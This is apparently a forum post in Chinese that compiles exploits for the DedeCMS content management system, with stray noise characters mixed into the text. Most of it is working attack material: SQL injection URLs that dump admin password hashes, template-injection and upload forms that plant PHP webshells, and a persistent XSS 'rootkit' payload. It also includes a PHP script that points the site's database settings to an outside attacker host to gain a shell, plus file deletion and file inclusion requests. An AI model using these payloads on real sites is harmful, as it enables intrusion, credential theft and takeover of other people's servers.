dedecms漏洞总结

admin

) R$ \: Y9 F  hDedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
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+ I3 B" r' }* O; a- P( E6 C& k( V" l  RDedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
* q" I( r+ s: R8 L0 \8 k发表后查看或修改即可执行
- i* p/ I4 I+ b! {, w! J( e& u' d0 Ka{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。



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Dede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
0 V0 U8 V% m0 }5 `* Hhttp://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
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$ b' U6 I  F  D4 |7 XDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
8 r% E; x+ g  O; Dhttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`


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3 w6 z5 m5 @# U0 O7 y6 h  Q, KDEDECMS 全版本 gotopage变量XSS漏洞
6 h% z! I: Q# v$ G1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
3 D, Z, f# D0 g4 H- l2 Bhttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="

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2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
: A% Y6 t9 M  m; V7 w: G% |% jhttp://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda


http://v57.demo.dedecms.com/dede/login.php
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color=Red]DeDeCMS(织梦)变量覆盖getshell
" i  [( [  D4 H) p$ X( e3 L#!usr/bin/php -w
<?php
$ u1 L( e% L9 v& N2 ierror_reporting(E_ERROR);
set_time_limit(0);
( {7 J* h$ ?. `9 Q3 e, D# j8 Mprint_r('
# R) [+ K$ m6 t- e$ {# UDEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
9 V# e2 _  q5 s) o3 d);
5 }* u' k2 U. h: w* t4 Recho "\r\n";
( {6 Z# \- N9 o1 \7 x- Iif($argv[2]==null){
print_r('
" z9 O& b- T. W6 E# h$ S% |) w5 y' D+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
, U# @2 ?5 L- g& P# D- r) kaid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
# l5 E+ Q4 W, M9 [$ l( k1 v& ^, ]php '.$argv[0].' www.site.com 1 old
1 b5 Z& n0 n: |  M+---------------------------------------------------------------------------+
');
exit;
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' h4 z, J: \0 F: u$ H2 z& M$url=$argv[1];
" @/ L0 P; t8 m* K% {/ F$aid=$argv[2];
/ A0 P5 I% b% F' o% y0 f$path=$argv[3];
$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
echo "
Exploit Success \n";
" Y! x5 h% K, u: @. y2 sif($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;


# x. s0 z) j1 l6 N5 o9 @" n# D# A+ bif($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;
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3 B8 L* c6 O9 `if($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";

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# X8 i: W$ ?3 W& L2 b9 x% m}else{
echo "
7 |2 {+ K1 {' J: _' ^" pExploit Failed \n";
9 x, ^4 x. _' E: j# {}
function Getshell($url,$aid,$path){
% b' o; j6 ?( N8 r) I9 M) g$id=$aid;
$host=$url;
$port="80";
2 ]$ X+ \2 e9 v8 y" g3 `; p$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
/ P8 Y. ~- H. Z9 r( x$data .= "Host: ".$host."\r\n";
9 z9 `, g4 A" X! d6 c! s, p8 J$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
: J. \0 o; l, K$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
" R" Q; C6 v! Z/ u2 s1 y+ T- p+ \$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
. p3 R; U' E  C# p3 H6 ]9 @) e$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
* m* }4 B7 s, _8 O$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($host,$port);
$ L/ y8 t1 L7 L3 ~5 \if (!$ock) {
! e; H3 K$ w4 h. s4 Hecho "
No response from ".$host."\n";
' s2 g( [9 u/ a' l% p" r}
fwrite($ock,$data);
* C1 Y5 P4 j& b  Xwhile (!feof($ock)) {
$exp=fgets($ock, 1024);
" w6 Y+ h1 H3 o' \return $exp;
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  O2 O3 @3 x+ g' }9 b- _}


?>
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2 ]4 u4 x( J5 ^- @6 rDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root

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把上面validate=dcug改为当前的验证码，即可直接进入网站后台
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3 s& F' d, v+ \% q% ^% Y8 b此漏洞的前提是必须得到后台路径才能实现


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Dedecms织梦 标签远程文件写入漏洞
前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');


再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
: _4 {8 _) l2 Z<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
+ A- C6 N! q$ ^<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
7 ^: |" ?1 F# Q6 T1 C# k6 D<input type="text" value="true" name="nocache" style="width:400">
# l7 }1 x6 _8 V; a2 |* e<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
. V1 r; A4 |, X  Z$ l: ifunction addaction()
% r3 }/ ?4 c* D( D7 G% O{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
2 j! A9 J+ X4 R1 T</script>

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1 k1 S- H* |2 L, `) h) x( b# VDedeCms v5.6 嵌入恶意代码执行漏洞
" W  P2 b  s1 y6 C* m注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
6 ^& R1 g( O# O4 S, F! e6 V) }* U& CDedecms <= V5.6 Final模板执行漏洞
  ?; z% e' h; `注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg

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  F! G  W3 V  ^! u; t6 P模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
( t, C. J0 k+ u% d, w$ h{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
" H: h, _, D5 c  l# i<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
8 @7 f7 v0 t1 N- L& d  B/ l" N<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
/ W' S$ z1 a- |<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />
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<div id="mainCp">
2 f, P; Q% h% o/ o/ b, f<h3 class="meTitle"><strong>修改文章</strong></h3>
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3 R$ N. J4 E/ g; k) M( D! s6 o. w: D<div class="postForm">
: _0 u8 P, c) y0 ]2 L# @<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
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<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
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- I# N1 J. J# X: u$ Q5 z% ]* p<label>作者：</label>
0 b1 e5 ]0 T+ C+ S9 a9 W<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
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<label>隶属栏目：</label>
) {8 i" g. s! }( Z5 G3 P<select name='typeid' size='1'>
; Z: }. ?% ^; p: F. f<option value='1' class='option3' selected=''>测试栏目</option>
/ V3 p' Q. c% q+ r9 U+ v* e. d</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
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' `( X! ]$ z0 ^* T$ F6 [! b<label>我的分类：</label>
; B/ y. t% ~9 @' L9 q7 W! j<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
& ~8 L0 _. _) m/ f* m<option value='1' class='option3' selected>hahahha</option>
</select>
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<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
# F$ A. b( L* {' O# n" ?$ P. {; k/ h% e(内容的简要说明)
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( U" S: u: D# `- r8 @% K<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>


<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
. N" ?; ^3 m5 @. o% F" E  L<input type='text' name='dede_addonfields'
8 e$ I* x: l2 p# j- svalue="templet,htmltext;">（这里构造）
</div>
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, h: H( }7 Y( A5 l<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>
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. W) g6 B9 h2 @; ]# H<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
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<label>验证码：</label>
& Y  J+ B0 J7 S# t<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
2 w( O( T. i$ N. \; {# g2 r( F<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
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<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
</div>

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</div>

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</form>
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提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
, O: p5 J  Y2 N) `/ y9 q假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php



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DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
9 y  j. \. p2 ]4 s7 X# m7 u{/dede:field}
, K+ F+ w' l- N$ D/ f: |保存为1.gif
2 g- U% p$ u7 A& n4 R/ r2 [<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
! T0 }- G3 c$ R<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
* G1 }& I) ?& _<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
2 H2 b. i+ \0 ]: I<input name="addonfile" type="file" id="addonfile"/>
0 g: N. N0 Q+ r) d3 K<button class="button2" type="submit" >更改</button>
</form>

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5 U) D4 e, {; M" k构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：


<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
- U" A, q6 `7 U  N<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
. S( Q/ ^" C. D/ h" X<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
( E# t& T2 v) N, {7 h$ N<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
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织梦(Dedecms)V5.6 远程文件删除漏洞
/ A7 Q4 i8 [0 c( l; U, ehttp://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
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# B3 g% a, ]8 f0 t' F织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../
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+ u2 {* L0 L+ l( t! rDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5






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织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='

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& A* ^* b6 w+ N3 _9 [" q1 U# q织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
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<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
5 d- {3 ^4 ?- J9 Q) r9 k, ?2 ?</head>
<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
* b5 l. U  E* |; b! w4 Q" y! J( j, j<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
- ^) B/ g7 O0 k% _<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
% I7 Q4 F+ D! E4 s" q6 w3 x& K+ XSelect U Shell <input type='file' name='uploadfile' size='25' />
# T% e! q  w4 u4 R2 g<input type='submit' name='sb1' value='确定' />
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3 i& @& d, Y5 P$ K) Q& V<br />It's just a exp for the bug of Dedecms V55...<br />
6 ~$ N, i: g& U0 ]  ?Need register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
</html>
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织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
$ m: I: l! Y& o& g1. 访问网址：
6 {. W# \. o6 H+ Q. A' W* a) \- `http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
7 C. X% B; u5 N可看见错误信息
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2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>


3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是


<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>


0 U- n4 {$ i$ z: j按确定后的看到第2步骤的信息表示文件木马上传成功.

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织梦(DedeCms)plus/infosearch.php 文件注入漏洞
% p3 D0 Z: R% [, ehttp://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*